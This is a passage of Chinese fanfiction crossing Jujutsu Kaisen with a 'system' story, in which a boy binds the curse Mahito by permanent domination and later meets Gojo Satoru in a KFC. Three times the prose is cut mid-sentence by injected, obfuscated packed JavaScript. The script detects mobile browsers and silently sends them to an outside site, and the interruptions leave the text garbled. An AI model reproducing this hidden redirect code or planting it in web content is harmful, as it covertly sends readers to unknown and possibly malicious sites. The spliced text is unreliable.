意识到这个人大概不是想象中的软柿子,他乖乖停留在原地,一双异色的眼睛上上下下打量着站定的少年。 “你好哇,我是真人——” “我对你是什么没兴趣。”星野璃空粗暴地打断了这轻快的自我介绍,他烦得要命。 “咒灵,滚回你该去的地方。我不是你的猎物,不是你的敌人,不是你的同类。” 他冷漠地凝视着那对一灰一蓝的眼瞳。看似委屈巴巴有点受伤,其下掩饰的是什么呢?被挑衅的怒气,还有恶童般撕碎一切的欲望? 星野璃空之所以选择和这个性格恶劣的咒灵面对面,完全是因为不这样的话,只会陷入更大的麻烦。 等后者冲入人群之中,发现有问题的不是自己的术式,它依旧能把人类捏圆搓扁,那么,有问题的只能是星野璃空了。 到了那个时候,它只会对还未走远的自己燃起千百倍的好奇,用所有手段绞尽脑汁地攻击试探。如果不是术式,而是以咒力直接攻击肉/体,那就不是星野璃空装作看不见就能解决的了。 只能在最差的结果发生之前,设法将其变得不那么差。 被迫多淋了一会儿雨,这个点还没能躺在自己干燥温暖的小床上,星野璃空非常暴躁。 与对方相似,恶质的欲望同样在他胸腔中高涨。 咒灵而已,偶尔放纵一下也没关系吧? 不行,还不行。 这里离居民区太近了,几乎是一街之隔。如果不能一击毙命,缠斗起来,必然有被围观群众窥见的风险。 正值演唱会前夕的关键时刻,星野璃空不能冒这个险。 他又看了眼面前一副蠢样的咒灵,有些郁卒。 偏偏是特级……完美卡在他不能秒杀的界限上。 星野璃空又把口罩往上扯了扯,视线偏开一些,不去看这张惹人烦的脸。 “今天的事可以当做没发生过。作为交换,以后不要再来烦我。” 真人的眼睛又滴溜溜转了起来:“诶——” 还没想好要说点什么来挑衅对方,少年的眉头又蹙了起来,带着显而易见的怒气。 哎呀,似乎脾气不太好的样子。 “我看出来了,”星野璃空轻声道,“你和那些家伙一样,是不好好毒打一顿就听不进话的类型呢。” 哪有? ——委屈的抗议声已经到了唇边,却没有吐露的机会。 暗巷之中似乎闪过一道幽暗的血色,快到真人以为是余光的错觉。 下一秒,四肢、头颅和躯干四分五裂,变成了碎裂积木般的零件散落一地。而真人的脸上还挂着交谈时刻意的热烈笑容,此刻才因为视野的不受控变换,逐渐化为后知后觉的茫然。 发生了什么? 被攻击了。 好强。怎么会这么强? 但是以为这样能够置他于死地,那就大错特错了! 真人的术式【无为转变】能够通过改变灵魂的形状来改变肉/体,这种变化对自身同样有效。也就是说,只要灵魂不灭,不管身体变成了何种破破烂烂的形状,都能够立刻修补好。 “没用的!” 几乎是眨眼之间便修补好身体,趁着对方反应不及,他将双腿化为羚羊的蹄腿,用力踏地、高高跃起,只一个起落,便已经到达百米开外。 “这种程度,可是杀不了我的!” 星野璃空朝他投来一个意味不明的眼神,随即毫不犹疑,转身就跑! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442834|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这下轮到真人愣住了。 为什么?明明占据优势吧。是意识到杀手锏对自己没用?但先前攻击自己的到底是什么,他完全没有头绪啊! 一想到自己的术式对这个人没用,他就心痒难耐。眼看少年的背影已经快要消失在浓厚夜色之中,真人愈发躁动了。 反正有【无为转变】在,对方的攻击也伤害不了自己……那就追上去看看! 星野璃空的速度并不快,没有超过普通人的极限。 但真人每次快要追上时,那种身体不受控制的感觉就会再次出现,迫使他放慢速度,眼睁睁看着距离再次拉开。 可每当他浮现出“要不还是算了”的想法,少年又会主动停下,在触手可及的地方转身回望他,神态是毫不掩饰的嘲讽。 【这就不行了吗?】 “可恶!” 于是双腿不自觉迈出,怒气暴涨的真人再一次跟上。 无穷无尽的拉扯与追逐之后,那个兔子一样滑不留手的人类终于停下了。 城市边缘的废弃工地,星野璃空钻进一栋只有水泥胚的烂尾楼中,飞快来到了顶层天台。 夜风在楼体黑洞洞的窗框间吹过,发出低沉的呜咽。脚下的混凝土地面粗糙而斑驳,其上裂纹密布,探出头来的钢筋锈迹斑驳,在细雨中沉默着,和他一起等候即将到来的客人。 星野璃空在一片黑暗中眺望着远处。城市的光晕模糊地亮着,即使是深夜,主干道上车流依旧涌动不息,如同无声的萤火虫。 身后传来了呼啸的破空声。他轻巧地躲避,裹挟着咒力的攻击擦身而过,将顶楼一角击碎至四分五裂。 真人的面孔从更深的黑暗中浮现出来。因为确定已将心仪的猎物追赶至逃无可逃,那些怒气、贪婪、好奇、欲念都不再掩饰,赤/裸/裸地在五官间沉浮。 “追逐游戏终于结束了?接下来总该玩点别的了吧。” 星野璃空转过身来,双手插兜,好整以暇地注视着他。 “是啊。” 口罩早已取下,团成一团塞到衣兜深处,他摘下兜帽,随意拨弄着头发,感受它在微凉的夜风之中轻柔地散开。 外套的拉链微微敞开,露出少年纤细的锁骨。因为在之前的追逐中沾染了雨丝和雾气,正柔和地、颤动地反射着月亮的光,像是一汪镀着银色的小小池塘。 在唯一的观众眼中,这抹银色的月光正抚过脸颊、包裹全身,直到孤身而立的少年无言含笑,整个人都散发出让人难以移开视线的,幽微的暗光。 真人迟缓地眨了眨眼睛。 红黑二色的“线”在肉眼不可见的地方急遽地颤动着。 指尖攀附上的无形线条传递的感情愈发强烈,星野璃空将其缠绕一圈,稍稍歪头,对着不远处的咒灵展露出更为蛊惑的,无可挑剔的甜美笑容。 “真人,喜爱着我吗?” 雨丝的飘落不知何时变得紧密,宛若一簇簇发亮的蒲公英。 咒灵嘴唇微张,一时发不出声音。 星野璃空笑意不减,声音轻柔。 “那么,就是厌恨着我了?” “这两种情感的价值,对我而言其实是等同的。因为归根结底,都是‘在意’,不是吗?” 他收紧了指尖的线,确认猎物已经百分百上钩之后,笑容变得更加真心实意了。 “所以……非常、非常感谢您。” 【是你的“爱”给出了允许。】 【是你的“恨”指引了路径。】 【是你自己,给了我操纵你的权力。】 “那么,我就不客气了。” 8. 永久支配 那一抹猩红的血色再次闪过。 化为碎块之前,真人这次终于看清了对方的模样。 “咒灵——?!” 仿佛将各种动物和幻想种的肢体砸碎再拼合,血淋淋的肉块用不对等的翼翅飘浮在半空中,数十只勾爪与触手争先恐后地伸出,裹挟着直白的施/虐/欲,意图将他撕扯为更小的碎片。 转瞬之间修复了身体,真人觉得一定是有哪里搞错了。 “停下!”他嘶吼着想要后退,同时意图用利弊说服对方,“你这样是杀不了我的,只是白费力气!” 真人甚至觉得很委屈,简直是无妄之灾。他一向都很有同族爱的,哪能想到还有咒灵不讲武德,来骗他这个刚诞生的宝宝啊! 他大声控诉:“我对同类没有敌意,是你的人类先挑起争端的!” “‘你的’,人类?” 完全不被注意的星野璃空低下头,看了看自己的双手。 “为什么这么说?”他很有求知欲地追问,“也许是咒术师的术式,操控咒灵进行攻击呢?” “我又不是白痴!!” 被切成臊子的真人恼羞成怒,再一次修复了自己。 这次他的速度放缓了不少,使用术式也是要耗费咒力的,而且恢复后也逃不掉被再次撕碎的下场。 倒不是没有尝试过进攻或逃跑,但对方的速度快得出奇,咒力攻击很难击中,即使打中一两次也没能造成有效伤害,更遑论用手掌触碰来发动术式。 可恶,【无为转变】为什么无效?敌人的术式到底是什么,固定灵魂吗? ——但若是那样的话,为什么他无法离开?!! 真人惊恐地发现,躯体不受控的情况愈演愈烈,他仿佛被无形的绳子拴在了楼顶。意志给出的指令无法下达,明明疯狂想着要逃跑,却只能在一隅之地不停打转。 他甚至连接近角落那个毫无防备、同时也没有咒力气息的普通人都做不到! 为什么会说是“普通人”,而非咒术师? 开玩笑!!所有咒力流淌的痕迹都来自眼前的可怖咒灵,而人类少年一动不动立于一旁,无动于衷,没有咒力,安静如同死尸。 也就是说,是勉强能看到咒灵,但连四级不到的【蝇头】都打不过的家伙,依然是滓渣般的普通人类。 ……等一下。 他好像知道【无为转变】为什么没用了。 大概率是之前触碰这个人类的时候,隐藏踪迹的咒灵暗中用咒力保护了灵魂。召唤的媒介应该也正被这个人随身携带,就是为了贪图这种保护。 这样的话,也能解释为何“无法离开”。 因为敌人的术式不是固定灵魂,其效果更接近“操控”与“囚禁”! 但现在,外出战斗的咒灵远离了脆弱的被守护者。那么只要拉开些二者间的距离,再趁咒灵回援不及,快速杀掉人类就好! 脚下假装败退,朝着天台边缘逃窜,狼狈地闪避糅合状咒灵狂风暴雨般的攻击。等到达预定的那一点时,他突然伸出了手。 ——原本距离少年数米的右手,眨眼间生出了巨大的骨镰。 用术式改变了自身肉/体的形状,然后,朝着人类躯体那脆弱的脖颈狠狠斩下! 星野璃空讶异地笑了笑。 “很敏锐嘛。” “不过,不是你想象的那样哦。” 他甚至没有移动,只是眼睫稍稍忽闪了一下。 原本跟他处于天台对角线两端的可怖咒灵,瞬间移动一般骤然出现在少年面前,以躯体硬生生抗下了这一击! 星野璃空“嘶”了一声,好看的眉头微微皱起。 “怪让人心疼的,”他嘀咕着,“果然站着挨打还是太傻了……” 而遭到否定的真人怔怔看着这一幕,感觉自己的世界观逐渐崩裂了。 强制召唤? 为什么,不是几乎没有咒力的普通人吗?! 什么时候普通人能做到这种地步了! 他甚至有点信了对方“操控咒灵的咒术师”这个说法,但事到如今,不是刨根问底的时候。 真人咬着牙冷笑一声,身体再次分裂成百十份,每一个手指大小的小人偶都长着相似的脸庞,在平台上欢快地跑来跑去,遍地都是嘈杂的笑声。 “只有一个里面藏着我真正的灵魂哦。如果不能一击将其消灭,被破坏掉的假躯壳,我瞬间就能修补。” “你没有大范围攻击的手段吧?那就来试试看运气吧!” “——看看你和我,究竟谁能坚持到最后!” 形容可怖的咒灵已经回到了星野璃空身后,完全没有再次离开、满平台去打地鼠的意思。 一只剥了皮般凹凸不平的猩红爪子轻轻搭上他的肩头,少年伸手按在其上,面庞已经不再散发之前那种令人心惊的魔性,显得平静了不少。 果然,尽情发泄一通后,那股咒灵与生俱来的恶意和毁灭欲望平息大半,又能忍耐一段时间了。 甚至面对眼前满地乱蹦的丑小人儿,态度堪称包容。 “其实我啊,很喜欢真人呢。” 尽管对“拥有术式的到底是咒灵还是人类”这一点依然抱有怀疑,但目前而言也没什么区别。小人们毫不客气地回道:“你们的术式和‘激烈的感情’有关吧?才不会被你抓到把柄!” “这样说也没错。”星野璃空相当诚恳,“不过,我说的‘喜欢’也不是谎言。” 换做其他特级咒灵,忙活半天辛辛苦苦打爆了,只会化为一团雾气烟消云散,根本没有游戏里啃掉大Boss的丰厚奖励。 只剩下你一个人精疲力竭,站在原地怀疑人生:我这是在干嘛?我究竟是为了什么? 所以星野璃空才会嫌弃这些家伙很麻烦啊。 “但是,真人给我的感觉很特别,和其他咒灵一点都不一样。” 真人:? 怎么,表白也是你们术式的一环吗? 星野璃空丝毫不觉得自己的话有什么不对,话语娓娓道来,相当流畅。 “你的术式是针对灵魂的吧?能够改变人类肉/体的形状,也能对自己进行修补。真是实用的能力啊。” 肩膀上的兽爪抬起,轻柔地抚过少年光洁的脸庞,仿佛在触碰什么易碎的瓷器。 人类天生的自愈能力很差,生命力还是不够顽强。 割伤、刺穿之类小的伤口,他还能用咒力飞快修复;但若是肢体断掉,乃至斩首,那就要花费大力气了。 如果致命部位遭到持续伤害,甚至可能会直接死掉。 该怎么避免这种风险呢? 他的术式从诞生一刻起就已经定型,只能在模板上加加减减,不可能让星野璃空突然变成壁虎。所以,除了尽量避免有风险的战斗以外,他也一直在寻找其他的办法。 ——办法这不就送到眼前了吗! 星野璃空感到非常愉快,一晚上的辛苦都值回票价,连带着“喜爱”都愈发真实了。 “真人你,说不定对我有大用呢!” 懒得管遍地小人之中真正的真人是否感到一阵恶寒,他拍了拍手,像放课后任何一个走出校门的同龄人一般轻快飞扬。 “来公开术式吧,真人ちゃん!” “我的术式很简单,叫做【爱恨乃引死之门】。简单来说,对我抱持着强烈情感的人,我就可以借此操控他们。” 星野璃空轻轻弹动一下指尖。在他的视野之中,纯白的建筑物上唯一一只蔓延出双色丝线的小人偶,实在是再显眼不过了。 “弱点也很明显。范围不大,效果也不能永续。” “最大的缺点就是自身的发动条件,‘爱恨’,也就是说,如果对手不爱我也不讨厌我,只是漠然以待的话,术式就相当于不存在,我就只是一个任人宰割的普通人。” 用“只能对满足特定条件的对象发动”的苛刻条件,换取超乎寻常的效果。 “相当严厉的束缚呢。” “是啊,”星野璃空笑眯眯地回应,“在试图用平常心看待我吗,真人ちゃん?已经太晚了。” 不试试怎么知道? 真人很想嘴硬一句,同时提高了十二万分的警惕。 看来对方是真的持有术式,大概是用什么他不知道的方式隐藏了咒力的痕迹。 而“公开术式”能够大幅增强术式原有的威力,更何况是如此详细的公开,连弱点都坦然告知。也就是说,对方已经做好必胜的准备了。 雨早已经停了。 夜色正逐渐变得稀薄,东方的天幕已经预告了日出,从混沌的灰色中透出一条明亮的白边。 星野璃空看着自己的指尖。在术式公开之后,那些纠缠颤动的丝线终于不再挣扎,而是彼此缠绕,变成了一根红黑双色的纤细锁链。 他无言地松了口气。 “这也是理所当然的嘛,”他的笑容真实了一些,“因为真人你,和我纠缠太久了啊。” 爱恨一刻不停地搏动,丝线随之轻柔地环绕着彼此,摸索着灵魂的形状,直到悄然间隐入深处。 锁链的一端缠上星野璃空的手腕,另一端一直延伸,没入了某个小人偶的身体,抵达内部连自己都看不见的地方。 术式结束后也不会消失,延续期限,变成了“永久”。 吵闹的小人儿们微微一僵,不再漫无目的地四处跑动,而是一头扎入本体之中。蓝发的青年重新出现,愕然地看着心脏处延伸出的锁链。 星野璃空放下手,锁链也随之消失了。 真人抬头摸了摸心口处。即使形状隐去,但灵魂上的束缚还在。那感觉如此鲜明,似乎时刻给予着幻觉一般的,窒息的隐痛。 没有憎恨,没有愤怒,没有癫狂。想象中落败之后的一切场景都没有发生,仿佛在观看一出事不关己的戏剧,此时此刻,咒灵的胸腔中,只剩下空荡荡的……茫然。 “怎么回事,”他喃喃道,“你做了什么?” 星野璃空也正在适应目前的状况。 因为贪图对方的能力,他第一次冒这样的险。 原本只是尝试能否把这只独特的咒灵圈养起来,等日后成功打开领域,他的力量愈发成熟,就能把这个很眼馋的能力占为己有。 但事态的发展不尽如人意,术式的强化效果不是空间上的,而是时间上的。 “永久性的支配吗?”星野璃空思考了一下,勉为其难地接受,“好像也不错。” 危险消失,尘埃落定。 新一天的太阳正充满活力地升起,糅杂的咒灵已经又隐没在少年背后,他活动了一下僵硬的脖子,觉得有点疲惫。 熬了一整夜,今天也不想去上学呢。 天台上尘土密布,找来找去也没有干净的地方。星野璃空被迫放弃了休息一会儿的想法,掏出手机,给通讯录里为数不多的几个号码发短信。 【to 吉野顺平:如果方便的话,能麻烦再帮我请一天假吗,身体还是不太舒服(T_T) 万分感谢】 设置了定时发送,他重新放下手机,转而看向一旁安静伫立着的真人。 清晨的阳光正温柔洒落,破败残缺的烂尾楼顶,星野璃空有些苦恼地喃喃。 “现在,到底要拿你怎么办呢?” * “你看过《千○千寻》吗?” “没有。那是什么?” “不准问我问题。提问是主人的权力。” “……嗨嗨。” 尽管星野璃空重新戴上口罩、拉下帽子,还一直把手机举到耳边假装在打电话,但过于狂放的言论还是引得路人禁不住回头咂舌,然后加快脚步匆匆逃开。 真人双手垫在后脑处,百无聊赖地跟在星野璃空后面蹦蹦跳跳走着,视线没有一秒从车水马龙的城市景观上移开过。那副郊游一般的兴奋模样,让星野璃空忍不住怀疑刚刚打赢的究竟是谁。 “总之,千寻给无脸男吃了丸子以后,无脸男就吐出欲望,变回了虚弱安静的鬼魂。它一直跟在千寻身后,一直一直,直到终点。” 早间巴士相当拥挤,被挤成小纸片的真人贴在窗框上朝外看,禁不住抱怨:“你到底想说什么?单纯剧透么,还是打哑谜?” 下车之后,星野璃空才懒洋洋地回复了他。 “没什么。只是感叹别人的随身鬼魂至少不会说话,而且很萌。” “——还有,禁止提问题。” 真人翻了个白眼,不吭声了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442835|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这份难得的沉默只坚持了几分钟。等到进了公寓,星野璃空打开门,一头栽倒在弹力十足的沙发上,咒灵才慢悠悠从后面跟过来,上下打量一圈之后,嫌弃地啧啧感叹:“好可怜,好小。” “这个也禁止。” 星野璃空翻过身来,放空了一会儿。 力气终于稍微恢复了些,他把淋雨之后又捂了一夜的衣物嫌弃地脱下,连同湿漉漉的外套一同扔到洗衣机里,准备先去补觉,睡醒再洗。 ……等一下。 已经朝着卧室走去的星野璃空停下脚步,转过身来,视线落到了正坐在玄关隔断柜、百无聊赖地晃着脚的真人身上。 【永久性的支配】。 圈养的牛羊在宰杀之前,能拿来做些别的也不错啊。 他出声呼唤真人:“去把衣服洗了。我教你洗衣机——”怎么用。 吱———— 话语被迫中止,被脑海之中突然响起的尖锐噪音所扰,星野璃空头痛地捂住了太阳穴。 “你还在啊。” 玄关处的真人莫名其妙地抬起头来,似乎发现了什么异样,颇感兴趣地观察着星野璃空的表情。 系统哽咽着说:【能量不够,系统也没办法啊。相信系统,系统比宿主更想分开,给彼此自由。】 真是要了统命了! 原来它还在自己的脑内专属VIP席位坐立不安上地看着二人彼此追逐,猜测这把能不能给自己一个痛快,赶紧速度重开……然后,然后,它的世界观就和真人一起裂开了。 主神在上啊,这是个什么呀?! 有一个匪夷所思的东西从它匪夷所思的宿主身体里面匪夷所思地爬出来了呀!! 但是天杀的,它的宿主居然思维还很清醒,还能正常说话!!! 系统恨不得当场宕机。事到如今,它再也不相信宿主关于“星野璃空是人类”那些信誓旦旦的话语了,转而颤颤巍巍地转头跑到论坛,准备发帖求助。 【救救我救救我救救我,宿主怪怪的原来是被异形寄生了(吐魂)】 刚刚组织好措辞,还没来得及发送,转头就看见宿主把那个浑身上下都写着“我是变态”的危险分子带回了家。 哦,它的宿主也是变态啊,那没事了。 它一边严阵以待,一边复习本世界相关资料。看看资料又看看宿主,越看越犹豫。 毕竟这是存在咒术力量的世界,有那种奇形怪状的咒灵是很正常的。至于操控咒灵的问题,也并非首例,有天赋的人类的确可以做到,将其成功化为自己的助力。 但是,使用方法是从身体里爬出来吗,这是不是有点太R18了? 系统竭力给自己洗脑。万一是宿主天赋异禀呢?说不定就是这样用的呢?哎呀总之打赢了,就不管那些有的没的了吧! 看一眼。至少宿主的言行举止看起来都很正常啊,应该没问题吧。 再看一眼。宿主正将刚收服的变态咒灵当成保姆,并试图教会对方使用洗衣机。 系统面无表情地点击了发布。 它焦急等待论坛的回应,结果出乎意料,这次的帖子大家的回复都超级冷淡。 【这有什么,不就是身体里有其他舍友吗,你就当住集体宿舍了】 【帖主是不是有点太大惊小怪了啊】 【9494,有的统宿主身体里还封印着九尾/恶魔/自己的阴暗面呢】 【看了IP,帖主不是在咒术要素相关世界吗?里面有的人类本来就能驱使咒灵啊】 【翻了帖主历史发言(配图:截图),emmmm】 【啊这,看起来是没取得绑定同意,在找理由反悔啊】 【唾弃帖主】 【喜新厌旧就直说嘛,非要找一堆理由】 【可怜的宿主宝宝,只是不想绑定就要被这么抹黑555】 系统沉默了。系统开始怀疑自己了。 难道真的是自己绑定失败,所以不自觉开始挑剔起宿主了? 难道其实它本质就是这么卑鄙无耻的统(`⊙Д⊙’)?! 系统又悄咪咪观察了一下。星野璃空正在耐心传授真人洗衣教程,把浅色的衣服扔进去,丢几颗凝珠,然后按“开始”就好。程序都是事先设定好的,结束以后直接把烘干的衣服拿出来折好,就能放进衣柜了。 要不是认真学习家务的一方身上密布的缝合线,称得上是相当温馨的一幕。 虽然进展顺利,但在真人懒洋洋地追问“究竟要怎么叠”的时候,星野璃空却不想教了。 他一眼就看出来对方只是试图给自己添麻烦,并以此为乐。 永久的支配也不可能无微不至,咒灵依然保有原本的灵魂,恶劣的人格丝毫未变,星野璃空拿走的,是更为重要的东西。 少年靠在光洁的墙壁上厌倦叹气,突然眼前一亮,想到了更好的主意。 他第一次主动呼唤了自称“系统”的东西。 “你能和我在意识中交流,而此时此刻,我的灵魂同那边的咒灵绑定。” 星野璃空以相当严谨的推断,得出了绝对正确的结论。 “也就是说,你能教它做家务!” 系统:【……啊??】 为了证明自己不是那种嫌弃宿主的坏统,它咬紧牙关一口答应:【能,我能!】 它检测过了,灵魂通路的确可以使用,不过是作为主机无线共享网络一下罢了,它能! 宿主点点头,十分满意的样子。系统顿时松了口气,内心默默给自己点了个赞。 【对了宿主,】它小心翼翼发问,试图再拉近一下彼此关系,纪念这破冰的第一步,【你把它留下来,是准备收服它吗?还是为了照顾你的生活起居?】 这关乎它接下来播放的教程走什么路线,是决定性的问题! “啊?”星野璃空有些讶异,“怎么这么问。” 【因为……】 “不用太在意。” 少年已经走进浴室,任由温热的水流从头顶倾泻而下、将自己包裹其中,发出了舒适的喟叹。 他的回答在雪白的水雾中飘散,宛若随口吐露的痴人梦呓。 “——我只是准备吃掉它而已啊。” 9. 怪异游客 【我跟老师说你因为伊藤的事留下了心理阴影,需要休息两天治愈创伤…没问题吧?】 【完全没问题。多谢多谢,帮大忙了^_^】 回完吉野顺平的消息,星野璃空盯着发亮的手机屏幕,陷入了沉思。 希望之丘医院这周已经去过了,本周末还要去涩谷和伴舞们排练,结束后直接去会更近一些。 但难得请了假,在家无所事事未免也太浪费了,还不如出门做点什么。 于是,工作日的上午十点,补完觉的星野璃空坐在楼下商场的KFC,开始专注地浏览附近医院的官方网站。 虽然大医院的义工一般需要提前一段时间预约,但许多毫无存在感的小医院,不论何时都对送上门的劳动力表示欢迎。 星野璃空在寻找的,就是类似的志愿者招募信息。 反正演唱会的歌曲和舞蹈他早就烂熟于心,接下来只要确定节目单,把详细的需求表交给灯光师就好……唔,那就周末排练时直接交给对方吧。 飞快安排好时间,星野璃空刚在搜罗栏里打下“川崎医院”,就看见对面原本撑着下巴眼神放空的真人长叹一口气,直接萎靡地趴在了小方桌上。 连锁快餐店的餐桌本就不大,几乎被咒灵瞬间占满,小臂还从星野璃空这一侧垂落下来。 后者把手机抬高了一点,避免触碰到真人毛茸茸的脑袋瓜。 “又怎么了?” 【没事儿,看《悬崖上的金○姬》呢。】系统飞快回答,【刚刚波妞选择变成人类了。】 星野璃空:“……哦。” 系统突然彰显了存在感,而且还是在汇报实时工作进度。这下星野璃空立刻想起还有这么个白给的劳动力,随即把手机揣回了兜里,理直气壮下令。 “搜索一下川崎有没有医院今天下午需要义工,最好是儿童病院。” 【好的主人,没问题主人!】 免费劳动力喜滋滋地开始上第二份工,星野璃空放松地靠在椅背上,捧起桌面上热气腾腾的咖啡,小口小口啜饮。 因为是周四的工作时段,所以KFC内部客人并不多,除了他占据的这张桌子,就只剩下一个打瞌睡的大叔,还有一对学生模样的情侣在角落低声嬉笑。 翘课了吗? 虽然他也差不多。 【找到了主人!那系统这边把详细信息和路线同步到您的手机上哦~】 衣兜里传来了伴随着震动的“滴答”一声。与此同时,KFC的玻璃门被人从外侧拉开了。 提着大包小裹的黑衣男性哼着歌走进,在星野璃空旁边停顿一下后,“咣”一声潇洒地将纸袋放在少年旁边,这才悠然去往前台。 星野璃空愣了一秒。 这么多空桌子,非要坐他旁边……?日本居然还有这种e人吗? 他下意识朝歪倒在桌面上敞着口的袋子看去。红黑的小小达摩探着头,似乎马上就要滚落下来;除此之外就是大袋包装上有“大师名物”字样的糖果,似乎是川崎这边的特产,一种中草药制作的止咳糖。 游客吗? 星野璃空默默给此人打上了“人傻,钱多,速来”的标签。 点完餐的游客用一种似乎脚下装了弹簧的轻快步伐折返,拉开小小的折叠椅,在他斜对面一屁股坐下,还旁若无人地翘起了二郎腿。 他这才注意到,和相当奇怪的举止相适配,高挑的男性面上还带着遮住半张脸的黑色眼罩,把视线遮挡得严严实实。 吱呀,吱呀。 对方甚至有心情往后靠着椅背摇晃,让可怜的折叠椅用后脚在地面上翘起,发出不堪折磨的惨叫。 星野璃空默默把自己缩得更小了一点,加快了喝咖啡的速度。 反正也快见底了,喝完这杯就走吧。 然而事与愿违,奇怪的游客似乎看出了他的抗拒,于是——凑得更近了。 把椅子猛地往前拉,青年捏着下巴,几乎是瞬间凑到了星野璃空脸上。 “?!!” 星野璃空下意识后仰,一口还未下咽的咖啡差点喷出来,“喂喂!” “啊,抱歉抱歉。” 嘴上毫无诚意地道着歉,青年甚至直接把折叠椅拉到和星野璃空并排的位置,像是关系极好的同桌一般,再自然不过地自顾自说话。 “周四上午一个人在KFC喝咖啡吗?不好意思,刚刚是我太突然了,吓到你了吗?” ……你现在也很突然好吗?! 对方目前似乎没有表露什么恶意,但众所周知,这是一个盛产斯托卡和私生饭的国度,而变态也不会一开始就把“我是变态”写在脸上。 星野璃空嘴上说着“啊哈哈还好”,实际上已经脚底抹油,准备开润了。 “因为我实在很好奇呢。” 青年一副颇感兴趣的样子,眼罩下的视线始终钉在星野璃空身上,没有一瞬间移开过。 “像你这样的普通人,怎么会被那样的家伙缠上?” 普通人。 那样的家伙。 对面的真人已经从动画片中抽回了注意力,向着这边露出一个幸灾乐祸的森森笑容。 【白痴,他感兴趣的是我啊。】 意识永远比言语迅捷,在咒灵说出第一个字的瞬间,星野璃空就当机立断,通过锁链飞快下达了指令。 【闭嘴。就假装你是个什么也不知道的BAKA好吗。】 “支配”是绝对的。意念传达的一瞬间,恶劣的笑容被硬生生掐灭,咒灵乖顺地再次垂下头去,估计反抗不能,又自暴自弃沉浸到了动画片的世界中。 与此同时,星野璃空对着自来熟的奇怪游客茫然地“啊?”了一声。 “您是指?” “那个啊。” 青年伸长胳膊,从袋子里摸索出一枚糖果,用大拇指弹了出去。 其上深蓝色的咒力蒸腾流淌,发射的瞬间甚至有“咻”的尖锐啸响。真人闪身躲过了这一击,出现在星野璃空背后,脸上是毫不掩饰的恼怒之色。 “什么都不知道”意指不能泄露星野璃空的秘密,不是真让他变成了挨打要躲都不知道的白痴好吗! 可恶,要不是这该死的锁链——! 而他刚刚所在之处,裹挟惊人声势的糖果宛若力量突然耗尽,从半空中“吧嗒”一声坠了下来,在塑料椅面上无力地打了个转。 只是试探吗?好强的力量操控,简直是如臂指使。 脑海中念头电闪,而实际上,星野璃空只是慢慢地拉着椅子后退、再后退,面上浮现出了普通人面对神棍/神经病/保险推销员时,那种经典的尴尬而不失礼貌的抗拒神色。 “原来是这样吗?啊,对了,我突然想起家里还有点急事……” 五条悟啧了一声。 他也没想到那个咒灵居然能躲过这一击。虽然因为在店里的原因,只用了一点点力气,但看来对方即使放在特级里,也属于有点本事的那一批。 新诞生的特级吗? 这么说,那个少年是和乙骨忧太一样的类型? 但似乎是连咒灵都看不见的普通人呢,真的可能吗? 于是他手臂一展,又把已经快要站起身来的星野璃空捞了回来。 “别那么着急啊。说起来,最近没有遇到什么怪事吗?比如说做噩梦,身体沉重,或者突然变得非常倒霉?” 被强行拽回来的白发少年看着他。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442836|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个表情的意思非常明显了,即“最奇怪的就是你”。 “诶?” 他不觉得奇怪,那五条悟可就觉得奇怪了。这么贴近人形的咒灵确实很少见……所以才这么温顺的吗? 他耐着性子问:“讨厌的人突然以奇怪的方式死掉——这样的事也没有吗?” 已经十分不安的少年强行挣脱了他的手臂,声音提得很高,明显耐心和承受能力都到达了极限。 “请你不要再说这些奇怪的话了。我要叫店员了!” 打瞌睡的大叔换了个姿势;角落里的情侣不再咬耳朵,朝着这边探头探脑地观望。服务台后面的工作人员慌忙跑了过来,在一旁小心地躬身。 “请问……?” 五条悟只好举手投降,星野璃空终于得到解脱,一副惴惴不安的样子躲去了店员身后。 没办法,仓促之下也只能做到这种程度了。五条悟心想。 来川崎之前他看过这片地区的异常失踪死亡率,没有太大波动,整体依然偏低。那个缝合线咒灵在遭受攻击以后也只是躲开,甚至没有反击,少年看起来也生命无虞,风险暂时在可控范围内。 嘛,那就等他解决了手头最要紧的事再说吧。 他来川崎也不是专程来购买特产的,可能出差就是最强的宿命吧。五条悟撇了撇嘴,回想起了夜蛾正道再三强调过的任务地点。 就在这附近吧? 聚集了人类的不安、痛苦、悲伤,医院诞生咒灵的频率超乎寻常地高啊,尤其是儿童医院。 * 店长看起来已经身经百战,对这种事有相当丰富的处理经验。先是不动声色的分开了二人,然后娴熟地护送星野璃空从侧门离开。 再三鞠躬道歉之后,她有些尴尬地搓着手,神情不安,又略带些羞涩。 “是Riku酱吧?我也是刚刚才确定呢。真的很抱歉让您在店里遇到了这种事,对了,拼盘演出,我还去看过呢!” 